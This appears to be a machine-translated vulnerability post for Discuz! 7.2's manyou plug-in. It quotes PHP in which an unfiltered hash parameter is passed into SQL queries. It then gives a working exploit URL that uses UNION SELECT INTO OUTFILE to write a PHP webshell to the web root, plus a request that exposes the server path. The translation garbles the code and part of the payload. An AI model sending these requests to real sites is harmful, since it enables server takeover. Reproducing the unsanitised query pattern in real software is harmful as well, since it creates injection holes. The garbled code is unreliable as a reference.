Discuz! 7.2 manyou plug-in brute-force Path & amp; Get Webshell 0day

In the latest discuz! 7.2 comes with a new application plug-in manyou. In this new plug-in, the passed parameters are not checked. When GPC is off, the injection vulnerability is generated.

Vulnerability Analysis:
File./manyou/sources/notice. php

Related code:

If ($ option = del ){
$ Appid = intval ($ _ GET [appid]);
$ Db-> query ("delete from {$ tablepre} myinvite WHERE appid = $ appid AND touid = $ discuz_uid ");
Showmessage (manyou: done, userapp. php? Script = notice & action = invite );
} Elseif ($ option = deluserapp ){
$ Hash = trim ($ _ GET [hash]); // No filtering is performed here, which directly leads to injection generation.
If ($ action = invite ){
$ Query = $ db-> query ("SELECT * FROM {$ tablepre} myinvite WHERE hash = $ hash AND touid = $ discuz_uid ");
If ($ value = $ db-> fetch_array ($ query )){
$ Db-> query ("delete from {$ tablepre} myinvite WHERE hash = $ hash AND touid = $ discuz_uid ");
Showmessage (manyou: done, userapp. php? Script = notice & action = invite );
} Else {
Showmessage (manyou: noperm );
}
} Else {
$ Db-> query ("delete from {$ tablepre} mynotice WHERE id = $ hash AND uid = $ discuz_uid ");
Showmessage (manyou: done, userapp. php? Script = notice );
}
}

A simple vulnerability. When no query results are returned, we usually only adopt blind injection. However, if the current database account has File_priv, we can directly into outfile.

/Userapp. php? Script = notice & view = all & option = deluserapp & action = invite & hash = union select NULL, empty, NULL, NULL into outfile C:/inetpub/wwwroot/shell. php % 23

/Manyou/admincp. php? My_suffix = % 0A % 0DTOBY57 burst path